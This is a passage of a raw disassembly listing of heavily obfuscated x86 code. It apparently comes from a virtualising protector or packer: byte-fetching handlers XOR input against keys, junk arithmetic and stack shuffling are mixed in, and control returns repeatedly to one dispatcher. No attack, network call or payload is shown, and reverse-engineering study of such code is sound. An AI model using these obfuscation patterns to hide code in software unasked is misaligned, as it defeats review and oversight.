					; sub_58A891+ECA9j
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 2
		add	edx, esi
		mov	esi, [esp+0]
		add	esp, 4
		xchg	edx, [esp+4Ch+var_4E+2]
		pop	esp
		rol	word ptr [esp+48h+var_4A+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598C91:				; DATA XREF: sub_58A891+3BBFo
		lodsw
		xor	ax, bx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 2
		sub	ebp, edx
		pop	edx
		jmp	loc_59B53E
; ---------------------------------------------------------------------------


loc_598CAD:				; CODE XREF: sub_58A891+8ACCj
		push	eax
		mov	eax, ecx
		mov	edi, eax
		pop	eax
		pop	ecx
		inc	edi
		push	1E2Ah
		mov	[esp-8+arg_0], ebp
		mov	ebp, 7E12649Fh
		add	edi, ebp
		pop	ebp
		sub	edi, 65D73F7Bh
		add	esi, edi
		mov	edi, [esp-0Ch+arg_4]
		add	esp, 4
		jmp	loc_59B1F9
; ---------------------------------------------------------------------------


loc_598CD8:				; CODE XREF: sub_58A891:loc_5945AEj
		xor	ecx, 76BF0DB4h
		jo	loc_596BC7
		jmp	loc_59A8A4
; ---------------------------------------------------------------------------


loc_598CE9:				; CODE XREF: sub_58A891+7A7Ej
		sub	esp, 4
		mov	[esp+58h+var_58], ebx
		push	edx
		jmp	loc_59640E
; ---------------------------------------------------------------------------


loc_598CF8:				; CODE XREF: sub_58A891+73AFj
		sub	esp, 2
		mov	word ptr [esp+0Ch+var_C], cx
		mov	cl, 11h
		jmp	loc_598578
; ---------------------------------------------------------------------------


loc_598D09:				; CODE XREF: sub_58A891+1035Bj
		add	esp, 4
		push	edx
		jmp	loc_592475
; ---------------------------------------------------------------------------


loc_598D12:				; CODE XREF: sub_58A891+FFEFj
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598D21:				; DATA XREF: sub_58A891+39CFo
		push	[esp+8+var_4]
		push	[esp+0Ch+var_C]
		jmp	loc_58EFE9
; ---------------------------------------------------------------------------


loc_598D2D:				; CODE XREF: sub_58A891+6D46j
		neg	al
		jz	loc_58F0F7
		and	al, 0B2h
		jo	loc_58F445
		add	al, 0F1h
		sub	bl, al
		pop	eax
		sub	bl, al
		push	ecx
		mov	cl, 9Eh
		push	ax
		mov	ah, 3
		sub	cl, ah
		pop	ax
		jmp	loc_59A9CF
; ---------------------------------------------------------------------------


loc_598D54:				; CODE XREF: sub_58A891+AC67j
		jl	loc_59560C
		jmp	loc_59B55D
; ---------------------------------------------------------------------------


loc_598D5F:				; CODE XREF: sub_58A891+F231j
		mov	eax, 7B4D1B5Ch
		mov	ebx, eax
		push	[esp+0Eh+var_10+2]
		pop	eax
		add	esp, 4
		or	ebx, 663956B4h
		jg	loc_58F857
		jmp	loc_592F6F
; ---------------------------------------------------------------------------
		mov	ebx, 68937147h
		push	esi


loc_598D87:				; CODE XREF: sub_58A891+C24Fj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0Eh+var_10+2]
		pop	esp
		mov	[esp+0Ah+var_C+2], edi
		push	esi
		mov	esi, 0B09243Ch
		not	esi
		and	esi, 5E7277EEh
		push	ecx
		mov	ecx, 4B8979BDh
		not	ecx
		or	ecx, 69B56F7Eh
		sub	ecx, 0A785D497h
		add	esi, ecx
		pop	ecx
		jmp	loc_596C98
; ---------------------------------------------------------------------------


loc_598DC6:				; CODE XREF: sub_58A891+B51Ej
		push	esi
		mov	esi, 3FE50B20h
		jmp	loc_594678
; ---------------------------------------------------------------------------


loc_598DD1:				; CODE XREF: sub_58A891+779Aj
		mov	[esp+6Ah+var_6C+2], edi
		mov	edi, 31B9E547h
		jmp	loc_58FCB0
; ---------------------------------------------------------------------------


loc_598DDE:				; CODE XREF: sub_58A891+C964j
		and	ah, 0E1h
		jp	loc_597DF8
		shr	ah, 1
		jmp	loc_5998B3
; ---------------------------------------------------------------------------
		add	bh, 0Ch


loc_598DF1:				; CODE XREF: sub_58A891+AF50j
		mov	[esp+14h+var_14], ecx
		jmp	loc_596204
; ---------------------------------------------------------------------------


loc_598DF9:				; CODE XREF: sub_58A891+3DEAj
		mov	ebp, 7ACC3CBFh
		mov	edx, ebp
		pop	ebp
		shl	edx, 4
		not	edx
		not	edx
		add	edx, 8612B18Dh
		jmp	loc_59A0B7
; ---------------------------------------------------------------------------


loc_598E13:				; CODE XREF: sub_58A891+3F74j
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+48h+var_4A+2]
		pop	esp
		jmp	loc_5953C4
; ---------------------------------------------------------------------------


loc_598E29:				; CODE XREF: sub_58A891+FA1Dj
		pop	eax
		push	[esp+40h+var_40]
		jmp	loc_596A8A
; ---------------------------------------------------------------------------


loc_598E32:				; CODE XREF: sub_58A891+BD64j
					; sub_58A891+F2F0j
		pop	ebp
		push	edi
		jmp	loc_593D91
; ---------------------------------------------------------------------------


loc_598E39:				; CODE XREF: sub_58A891+DB47j
		add	ebp, 1
		neg	ebp
		push	0
		sub	[esp+0Ch+var_C], ebp
		pop	ebp
		shr	ebp, 4
		xor	ebp, 7C884981h
		jmp	loc_59815A
; ---------------------------------------------------------------------------


loc_598E55:				; CODE XREF: sub_58A891+E828j
		mov	edi, 20129590h
		sub	eax, 670F24E3h
		jmp	loc_592094
; ---------------------------------------------------------------------------


loc_598E64:				; CODE XREF: sub_58A891+10A30j
		mov	[edi+eax*4], dl
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598E7C:				; CODE XREF: sub_58A891+C11Aj
		push	esp
		pop	ebp
		jmp	loc_5935CF
; ---------------------------------------------------------------------------


loc_598E83:				; CODE XREF: sub_58A891+802Bj
		add	[esp+20h+var_18], edi
		pop	edi
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		push	[esp+18h+var_18]
		pop	ecx
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+20h+var_20], edx
		mov	edx, 570E7ABFh
		xor	edx, 3D5972F8h
		jmp	loc_5948E6
; ---------------------------------------------------------------------------


loc_598EAB:				; CODE XREF: sub_58A891+10863j
		pop	edx
		pop	ebx
		add	ebp, 4
		push	ebp
		push	[esp+1Ch+var_18]
		pop	ebp
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		shl	[esp+18h+var_18], cl
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598EC7:				; CODE XREF: sub_58A891+A86Aj
		pop	ebp
		jmp	loc_5995FF
; ---------------------------------------------------------------------------


loc_598ECD:				; CODE XREF: sub_58A891+F65Ej
		add	edx, esi
		pop	esi
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_591AFC
; ---------------------------------------------------------------------------


loc_598EDC:				; CODE XREF: sub_58A891:loc_595CB4j
		push	ebx
		mov	ebx, 0F0609028h
		add	ebp, ebx
		pop	ebx
		add	edx, ebp
		pop	ebp
		add	edx, 2
		xor	edx, [esp+44h+var_46+2]
		xor	[esp+44h+var_46+2], edx
		xor	edx, [esp+44h+var_46+2]
		pop	esp
		shr	byte ptr [esp+40h+var_40], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598F01:				; CODE XREF: sub_58A891:loc_590279j
		push	edx
		mov	edx, 24379A0h
		sub	ecx, 21E81C23h
		sub	ecx, edx
		add	ecx, 21E81C23h
		mov	edx, [esp+10h+var_10]
		jmp	loc_594568
; ---------------------------------------------------------------------------


loc_598F1D:				; CODE XREF: sub_58A891+D98Bj
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		xor	[ecx], eax
		pop	ecx
		jmp	loc_597212
; ---------------------------------------------------------------------------


loc_598F31:				; CODE XREF: sub_58A891+100B1j
		xor	eax, [esp+40h+var_40]
		xor	[esp+40h+var_40], eax
		jmp	loc_592A12
; ---------------------------------------------------------------------------


loc_598F3C:				; CODE XREF: sub_58A891+D478j
		pop	ecx
		push	ebx
		push	esp
		jmp	loc_596579
; ---------------------------------------------------------------------------


loc_598F44:				; CODE XREF: sub_58A891+4448j
		mov	eax, 4
		mov	edx, eax
		jmp	loc_599279
; ---------------------------------------------------------------------------


loc_598F50:				; CODE XREF: sub_58A891+75B4j
		xor	eax, ebp
		jmp	loc_59353E
; ---------------------------------------------------------------------------


loc_598F57:				; CODE XREF: sub_58A891+7BD7j
		mov	edx, 253C7094h
		add	ebx, 7C515647h
		sub	ebx, 74061DC4h
		jmp	loc_59AE60
; ---------------------------------------------------------------------------


loc_598F6D:				; CODE XREF: sub_58A891+B04Ej
		sub	al, dh
		pop	edx
		push	6FF7h
		mov	[esp+12h+var_14+2], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp+12h+var_14+2]
		pop	esp
		mov	word ptr [esp+0Eh+var_10+2], dx
		push	5336h
		mov	[esp+12h+var_14+2], ebx
		push	68B7h
		mov	[esp+16h+var_18+2], eax
		push	edx
		mov	dl, 0BBh
		inc	dl
		jmp	loc_5947E6
; ---------------------------------------------------------------------------


loc_598FA4:				; CODE XREF: sub_58A891+112C3j
		mov	eax, 792A78B2h
		push	ecx
		jmp	loc_596A6E
; ---------------------------------------------------------------------------


loc_598FAF:				; CODE XREF: sub_58A891+9338j
		push	edx
		push	[esp+4Ch+var_4A+2]
		pop	edx
		pop	[esp+4Ch+var_4E+2]
		mov	esp, [esp+48h+var_4A+2]
		xor	word ptr [esp+48h+var_4A+2], ax
		pushf
		jmp	loc_596F01
; ---------------------------------------------------------------------------


loc_598FC5:				; CODE XREF: sub_58A891+BF33j
		sub	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 2F7F5A60h
		jmp	loc_58EE21
; ---------------------------------------------------------------------------


loc_598FD3:				; CODE XREF: sub_58A891+AB08j
		sub	ebp, 2
		xchg	ebp, [esp-0Ch+arg_4]
		pop	esp
		mov	word ptr [esp-10h+arg_8], dx
		push	ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598FE6:				; CODE XREF: sub_58A891+BB57j
		sub	edx, esi
		jmp	loc_58F82B
; ---------------------------------------------------------------------------


loc_598FED:				; CODE XREF: sub_58A891+6185j
		pop	ax
		push	ebx
		jmp	loc_595359
; ---------------------------------------------------------------------------


loc_598FF5:				; CODE XREF: sub_58A891+67C1j
		mov	[esp+32h+var_34+2], eax
		push	ebx
		jmp	loc_58F0D5
; ---------------------------------------------------------------------------


loc_598FFE:				; CODE XREF: sub_58A891+EBE0j
		add	ecx, 7D3A600Fh
		add	dword ptr [ecx], 1
		pop	ecx


loc_59900B:				; CODE XREF: sub_58A891+8D84j
		push	252h
		mov	[esp+36h+var_38+2], ebx
		xor	[esp+36h+var_38+2], 76A65A63h
		mov	eax, [esp+36h+var_38+2]
		jmp	loc_597727
; ---------------------------------------------------------------------------


loc_599022:				; CODE XREF: sub_58A891+A080j
		push	eax
		add	dword ptr [esp+0], 18C65C4h
		pop	ebx
		sub	ebx, 18C65C4h
		mov	eax, [esp+4Ch+var_4E+2]
		add	esp, 4
		sub	ebx, 5B863F80h
		sub	ebp, 5D4708F7h
		add	ebp, ebx
		add	ebp, 5D4708F7h
		pop	ebx
		add	ebp, 2
		push	2DDDh
		mov	[esp+48h+var_4A+2], ebp
		push	[esp+48h+var_46+2]
		mov	ebp, [esp+4Ch+var_4E+2]
		add	esp, 4
		pop	[esp+48h+var_4A+2]
		mov	esp, [esp+44h+var_46+2]
		cmp	cx, ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599070:				; CODE XREF: sub_58A891+11396j
		push	1E893527h
		mov	ebx, [esp+4Ch+var_4E+2]
		push	edx
		push	esp
		mov	edx, [esp+54h+var_54]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_5962FE
; ---------------------------------------------------------------------------


loc_599098:				; CODE XREF: sub_58A891+7933j
		add	eax, edi
		jmp	loc_592425
; ---------------------------------------------------------------------------


loc_59909F:				; CODE XREF: sub_58A891+735Ej
		not	ecx
		neg	ecx
		not	ecx
		dec	ecx
		shr	ecx, 4
		jmp	loc_59107F
; ---------------------------------------------------------------------------


loc_5990AE:				; DATA XREF: sub_58A891+3BCFo
		lodsd
		xor	eax, ebx
		push	4C3Fh
		mov	[esp+0Ch+var_C], edi
		jmp	loc_598E55
; ---------------------------------------------------------------------------


loc_5990BE:				; CODE XREF: sub_58A891+62E0j
		add	ebp, 7EFD3166h
		jmp	loc_58FCA9
; ---------------------------------------------------------------------------


loc_5990C9:				; CODE XREF: sub_58A891+7248j
		mov	ah, 4Ah
		jmp	loc_599C2A
; ---------------------------------------------------------------------------


loc_5990D0:				; CODE XREF: sub_58A891+B1CBj
					; sub_58A891+CFB8j
		shr	ebp, 4
		jz	loc_596CFA
		and	ebp, 3C7B69E5h
		jmp	loc_595398
; ---------------------------------------------------------------------------


loc_5990E4:				; CODE XREF: sub_58A891+10FD2j
		add	esp, 4
		push	edi
		jmp	loc_592CAB
; ---------------------------------------------------------------------------


loc_5990ED:				; CODE XREF: sub_58A891+9621j
		pop	eax
		push	[esp-10h+arg_8]
		pop	edi
		jmp	loc_592400
; ---------------------------------------------------------------------------


loc_5990F7:				; CODE XREF: sub_58A891+A2E8j
		push	3469h
		jmp	loc_596ADC
; ---------------------------------------------------------------------------


loc_599101:				; CODE XREF: sub_58A891+9340j
		xor	bl, 4Ch
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], ecx
		jmp	loc_593030
; ---------------------------------------------------------------------------


loc_599112:				; CODE XREF: sub_58A891+104FEj
		mov	[esp+4Ch+var_4E+2], ebp
		push	64E1h
		push	esp
		pop	[esp+54h+var_54]
		add	dword ptr [esp+0], 4
		pop	ebp
		jmp	loc_594185
; ---------------------------------------------------------------------------


loc_599128:				; CODE XREF: sub_58A891+B507j
		add	ax, si
		jmp	loc_59B79B
; ---------------------------------------------------------------------------


loc_599130:				; DATA XREF: sub_58A891+3B17o
		lodsb
		jmp	loc_59884F
; ---------------------------------------------------------------------------


loc_599136:				; CODE XREF: sub_58A891+422Ej
		mov	edx, 4
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+3Ch+var_3C], esi
		push	[esp+3Ch+var_38]
		mov	esi, [esp+40h+var_40]
		add	esp, 4
		pop	[esp+3Ch+var_3C]
		pop	esp
		push	ebp
		mov	ebp, 4CBD216Bh
		add	eax, ebp
		mov	ebp, [esp+38h+var_38]
		add	esp, 4
		jmp	loc_59606D
; ---------------------------------------------------------------------------


loc_59916E:				; CODE XREF: sub_58A891+D8E2j
		sub	esp, 4
		mov	[esp+34h+var_34], esp
		add	[esp+34h+var_34], 4
		jmp	loc_5974A7
; ---------------------------------------------------------------------------


loc_599180:				; CODE XREF: sub_58A891+CB81j
		shl	eax, 7
		add	eax, 0A3366B97h
		jmp	loc_59962B
; ---------------------------------------------------------------------------


loc_59918D:				; CODE XREF: sub_58A891+CA85j
					; sub_58A891+FDBAj
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, 4
		push	esi
		mov	esi, 14E37C9Ch
		add	ecx, esi
		jmp	loc_59B2C6
; ---------------------------------------------------------------------------


loc_5991A8:				; CODE XREF: sub_58A891+9297j
		not	ebp
		add	ebp, 1
		xor	ebp, 0AC99B5E5h
		or	ebx, ebp
		pop	ebp
		not	ebx
		neg	ebx
		xor	ebx, 70BA1A8Dh
		jmp	loc_593786
; ---------------------------------------------------------------------------


loc_5991C5:				; CODE XREF: sub_58A891+9EBDj
		mov	esi, 777A251Ch
		xor	ebp, esi
		pop	esi
		add	ecx, ebp
		pop	ebp
		push	edx
		jmp	loc_59A947
; ---------------------------------------------------------------------------


loc_5991D6:				; CODE XREF: sub_58A891+5F80j
		mov	edi, 4
		add	[esp-8+arg_4], edi
		pop	edi
		jmp	loc_59AFC7
; ---------------------------------------------------------------------------


loc_5991E5:				; CODE XREF: sub_58A891+EF20j
		pop	edi
		pop	[esp-10h+arg_8]
		mov	esp, [esp+0]
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5991F9:				; CODE XREF: sub_58A891+10185j
		or	bl, 0B4h
		jnz	loc_590662
		add	bl, 0F5h
		push	cx
		mov	cl, 6Ch
		xor	bl, cl
		pop	esi


loc_59920C:				; CODE XREF: sub_58A891+ED74j
		xor	eax, [esp-16h+arg_E]
		pop	esp
		div	cx
		jmp	loc_596732
; ---------------------------------------------------------------------------


loc_599218:				; DATA XREF: sub_58A891+3B5Bo
		mov	cx, word ptr [esp+8+var_8]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_590E5F
; ---------------------------------------------------------------------------


loc_599229:				; CODE XREF: sub_58A891+6C51j
		sub	[esp+3Ch+var_38], 16AD07A4h
		pop	ecx
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		add	ebx, 4
		add	ebx, 2
		push	ebx
		push	[esp+38h+var_34]
		pop	ebx
		pop	[esp+38h+var_38]
		mov	esp, [esp+34h+var_34]
		jmp	loc_597E6C
; ---------------------------------------------------------------------------


loc_599255:				; CODE XREF: sub_58A891+F598j
		pop	ecx
		jmp	loc_5976F9
; ---------------------------------------------------------------------------


loc_59925B:				; CODE XREF: sub_58A891+BC08j
		pop	ebx
		push	7D6Eh
		mov	[esp+44h+var_46+2], edx
		push	2
		jmp	loc_58EC61
; ---------------------------------------------------------------------------


loc_59926E:				; CODE XREF: sub_58A891+BC29j
		add	esi, 4
		jmp	loc_597953
; ---------------------------------------------------------------------------


loc_599279:				; CODE XREF: sub_58A891+D569j
					; sub_58A891+E6BAj
		pop	eax
		push	edx
		mov	edx, 63BC597Eh
		sub	ecx, 27C612C5h
		sub	ecx, edx
		jmp	loc_599DCB
; ---------------------------------------------------------------------------


loc_59928D:				; CODE XREF: sub_58A891+8995j
					; sub_58A891+EBFDj
		push	5C1Ah
		jmp	loc_592043
; ---------------------------------------------------------------------------


loc_599297:				; CODE XREF: sub_58A891+3C96j
		push	cx
		push	edx
		mov	dl, 83h
		jmp	loc_591985
; ---------------------------------------------------------------------------


loc_5992A1:				; CODE XREF: sub_58A891+B035j
		push	82Ch
		jmp	loc_599B05
; ---------------------------------------------------------------------------


loc_5992AB:				; CODE XREF: sub_58A891+A9E6j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+38h+var_38]
		pop	esp
		pop	[esp+34h+var_34]
		mov	esp, [esp+30h+var_30]
		push	7203h
		jmp	loc_594D50
; ---------------------------------------------------------------------------


loc_5992C8:				; CODE XREF: sub_58A891+3E15j
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		push	eax
		mov	eax, 9DC30D9h
		inc	eax
		jmp	loc_5938B4
; ---------------------------------------------------------------------------


loc_5992DC:				; CODE XREF: sub_58A891+105CAj
		add	ecx, edi
		sub	ecx, 513B7550h
		mov	eax, [ecx]
		mov	ecx, [esp+54h+var_54]
		jmp	loc_597AC1
; ---------------------------------------------------------------------------


loc_5992EE:				; CODE XREF: sub_58A891+7D9Cj
		jp	loc_59079E
		jmp	loc_593625
; ---------------------------------------------------------------------------


loc_5992F9:				; CODE XREF: sub_58A891+B266j
		jnz	loc_5930E6
		shr	bh, 2
		push	0
		mov	ebx, ebp


loc_599309:				; CODE XREF: sub_58A891+A5C4j
		push	6127h
		mov	[esp+44h+var_46+2], ecx
		push	ebx
		jmp	loc_593355
; ---------------------------------------------------------------------------


loc_599317:				; DATA XREF: sub_58A891+3BB3o
		mov	cx, word ptr [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		jmp	loc_59115B
; ---------------------------------------------------------------------------


loc_599323:				; CODE XREF: sub_58A891+8757j
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	0CFAh
		mov	[esp+0], ecx
		mov	ecx, 1
		push	12F3h
		mov	[esp+4+var_4], ebx
		push	24h
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		add	ebx, edi
		add	[ebx], ecx
		push	[esp+4+var_4]
		pop	ebx
		jmp	loc_58E62A
; ---------------------------------------------------------------------------


loc_59935F:				; CODE XREF: sub_58A891+D2CCj
		push	45E8h
		mov	[esp+8+var_8], eax
		jmp	loc_597F19
; ---------------------------------------------------------------------------


loc_59936C:				; CODE XREF: sub_58A891+10F9Cj
		push	[esp+8+var_8]
		pop	edi
		add	esp, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599387:				; CODE XREF: sub_58A891+745Fj
		xor	esi, 0D43DA24Dh
		and	edx, esi
		pop	esi
		jmp	loc_59267D
; ---------------------------------------------------------------------------


loc_599395:				; CODE XREF: sub_58A891+7F90j
		jb	loc_595176
		xor	esi, 2FD15A98h
		add	esi, 1E89235Ah
		jg	loc_5974D0
		jmp	loc_59726E
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	ah, 5Ah


loc_5993BA:				; CODE XREF: sub_58A891+B700j
		or	esi, 609A5A5Eh
		shl	esi, 8
		and	esi, 25EC6B7Ah
		sub	esi, 1F4A6304h
		sub	esi, 0E7947A7Fh
		and	edi, esi
		pop	esi
		xor	edi, 3BA44C76h
		jmp	loc_596DE2
; ---------------------------------------------------------------------------


loc_5993E3:				; CODE XREF: sub_58A891+7ADFj
					; sub_58A891+10019j
		xor	eax, 40785A21h
		push	eax
		pop	ebx
		pop	eax
		jmp	loc_598BED
; ---------------------------------------------------------------------------


loc_5993F0:				; CODE XREF: sub_58A891+DD91j
		sub	word ptr [esp+42h+var_40+2], ax
		mov	ax, [esp+0]
		jmp	loc_5942B4
; ---------------------------------------------------------------------------


loc_5993FE:				; CODE XREF: sub_58A891+CAADj
		xor	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 0E8FF1C4h
		add	ecx, ebx
		jmp	loc_5931AA
; ---------------------------------------------------------------------------


loc_59940E:				; CODE XREF: sub_58A891+BDE9j
		inc	edi
		shl	edi, 1
		jmp	loc_58FD0E
; ---------------------------------------------------------------------------


loc_599416:				; CODE XREF: sub_58A891+9717j
		and	ecx, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_594B3D
; ---------------------------------------------------------------------------


loc_599426:				; CODE XREF: sub_58A891+A585j
		jg	loc_591DB9
		jmp	loc_591189
; ---------------------------------------------------------------------------


loc_599431:				; CODE XREF: sub_58A891+68A2j
		sub	eax, ebx
		pop	ebx
		push	eax
		not	[esp+40h+var_40]
		pop	eax
		shr	eax, 4
		jmp	loc_5960BD
; ---------------------------------------------------------------------------


loc_599441:				; CODE XREF: sub_58A891+DA6Dj
		dec	ebp
		sub	ebp, 0F9D12710h
		mov	ebx, 0B409C463h
		sub	ebx, 47005EA6h
		sub	ebx, ebp
		push	edi
		mov	edi, 47005EA6h
		add	ebx, edi
		pop	edi
		pop	ebp
		shl	ebx, 5
		jmp	loc_5905A7
; ---------------------------------------------------------------------------


loc_599467:				; CODE XREF: sub_58A891+86BCj
		push	ecx
		push	esp
		jmp	loc_59812C
; ---------------------------------------------------------------------------


loc_59946E:				; CODE XREF: sub_58A891+59A4j
		pop	esi
		add	ecx, edi
		jmp	loc_598FFE
; ---------------------------------------------------------------------------


loc_599476:				; CODE XREF: sub_58A891+6803j
		mov	eax, 54326197h
		mov	edi, 1A3D03h
		xor	edi, eax
		pop	eax
		push	ebp
		jmp	loc_5982CD
; ---------------------------------------------------------------------------


loc_599489:				; CODE XREF: sub_58A891+7DDCj
		pop	edi
		xchg	ebp, [esp-10h+arg_8]
		pop	esp
		jmp	loc_59928D
; ---------------------------------------------------------------------------


loc_599493:				; CODE XREF: sub_58A891+C9D8j
		mov	esp, [esp+1Ch+var_1C]
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 4
		jmp	loc_58E9D9
; ---------------------------------------------------------------------------


loc_5994A3:				; DATA XREF: sub_58A891+39BFo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+6+var_8+2], cl
		pushf
		jmp	loc_595E97
; ---------------------------------------------------------------------------


loc_5994B2:				; CODE XREF: sub_58A891+F6EBj
		mov	eax, 36184C66h
		shl	eax, 2
		inc	eax
		add	eax, 374E399Fh
		jmp	loc_597819
; ---------------------------------------------------------------------------


loc_5994C5:				; CODE XREF: sub_58A891+A5E5j
		sub	ecx, 4845229Bh
		sub	esp, 4
		mov	[esp+12h+var_14+2], ebp
		push	eax
		jmp	loc_594FE2
; ---------------------------------------------------------------------------


loc_5994D7:				; CODE XREF: sub_58A891+CEF2j
		shr	eax, 0Ah
		xor	eax, ecx
		push	3DD9h
		jmp	loc_5906E8
; ---------------------------------------------------------------------------


loc_5994E6:				; CODE XREF: sub_58A891+6254j
					; sub_58A891+64DBj
		mov	ecx, 77520876h
		add	ebx, ecx
		pop	ecx
		jmp	loc_58FEC5
; ---------------------------------------------------------------------------


loc_5994F3:				; CODE XREF: sub_58A891+CFE1j
		pop	esi
		add	ebp, 0D34EDB42h
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		jmp	loc_5959EC
; ---------------------------------------------------------------------------


loc_59951E:				; CODE XREF: sub_58A891+8263j
		push	edx
		mov	edx, 5297290Eh
		shr	edx, 3
		inc	edx
		jmp	loc_5999E3
; ---------------------------------------------------------------------------


loc_59952D:				; CODE XREF: sub_58A891+68B2j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599532:				; CODE XREF: sub_58A891+5A0Bj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_598C60
; ---------------------------------------------------------------------------


loc_59953F:				; CODE XREF: sub_58A891+9F8Aj
					; sub_58A891+DE5Dj
		sub	esp, 4
		jmp	loc_596F2B
; ---------------------------------------------------------------------------


loc_599547:				; CODE XREF: sub_58A891+BA92j
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_5936AE
; ---------------------------------------------------------------------------


loc_59955B:				; CODE XREF: sub_58A891+BEFAj
		mov	edi, ebp
		jmp	loc_58FF48
; ---------------------------------------------------------------------------


loc_599562:				; CODE XREF: sub_58A891+574Aj
		push	esi
		mov	esi, 562F224Ah
		xor	edx, esi
		pop	esi
		push	0
		sub	[esp+0], edx
		pop	edx
		jmp	loc_594820
; ---------------------------------------------------------------------------


loc_599579:				; CODE XREF: sub_58A891+46CBj
		pop	esp
		jmp	loc_5975D6
; ---------------------------------------------------------------------------


loc_59957F:				; CODE XREF: sub_58A891+5C50j
		add	esp, 4
		and	dl, 17h
		xor	dl, 0F6h
		sub	bh, dl
		pop	edx
		jmp	loc_5948DF
; ---------------------------------------------------------------------------


loc_599590:				; CODE XREF: sub_58A891+112D7j
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_592391
; ---------------------------------------------------------------------------


loc_5995A5:				; CODE XREF: sub_58A891+BF7Cj
		sub	esp, 2
		jmp	loc_59B281
; ---------------------------------------------------------------------------


loc_5995B0:				; CODE XREF: sub_58A891+C53Bj
		pop	edi
		push	edi
		mov	edi, 2
		add	esi, edi
		pop	edi
		jmp	loc_59B279
; ---------------------------------------------------------------------------


loc_5995BF:				; CODE XREF: sub_58A891+8032j
		pop	ebx
		push	edx
		mov	edx, 1A5967F6h
		sub	edx, 0C26A5FA0h
		jmp	loc_59448F
; ---------------------------------------------------------------------------


loc_5995D1:				; CODE XREF: sub_58A891+6F34j
		add	eax, 71992CB1h
		add	eax, 21B16C06h
		pop	ebp
		push	eax
		push	[esp+48h+var_46+2]
		jmp	loc_5929C6
; ---------------------------------------------------------------------------


loc_5995E6:				; CODE XREF: sub_58A891+5339j
		mov	ebx, 702C5B3Bh
		dec	ebx
		dec	ebx
		push	ebp
		mov	ebp, 7EB66E9Ah
		or	ebx, ebp
		jmp	loc_590A31
; ---------------------------------------------------------------------------


loc_5995FA:				; CODE XREF: sub_58A891+573Dj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5995FF:				; CODE XREF: sub_58A891+E637j
		xor	eax, [esp+0]
		xor	[esp+0], eax
		jmp	loc_59920C
; ---------------------------------------------------------------------------


loc_59960A:				; DATA XREF: sub_58A891+39E7o
		push	ebp
		push	[esp+0Ch+var_8]
		jmp	loc_59A337
; ---------------------------------------------------------------------------


loc_599614:				; CODE XREF: sub_58A891+5A6Cj
		mov	edi, [esp+24h+var_24]
		jmp	loc_592BE2
; ---------------------------------------------------------------------------


loc_59961C:				; CODE XREF: sub_58A891+6A96j
		mov	dl, ah
		pop	eax
		xor	al, dl
		mov	dx, [esp+0]
		push	ebp
		jmp	loc_5940E8
; ---------------------------------------------------------------------------


loc_59962B:				; CODE XREF: sub_58A891+E8F7j
		mov	esi, eax
		pop	eax
		shl	esi, 7
		sub	esi, 1AF40AEAh
		dec	esi
		neg	esi
		neg	esi
		sub	esi, 0C911FED4h
		add	edx, esi
		jmp	loc_595B55
; ---------------------------------------------------------------------------


loc_599649:				; CODE XREF: sub_58A891+FBBDj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59964E:				; CODE XREF: sub_58A891+7AB6j
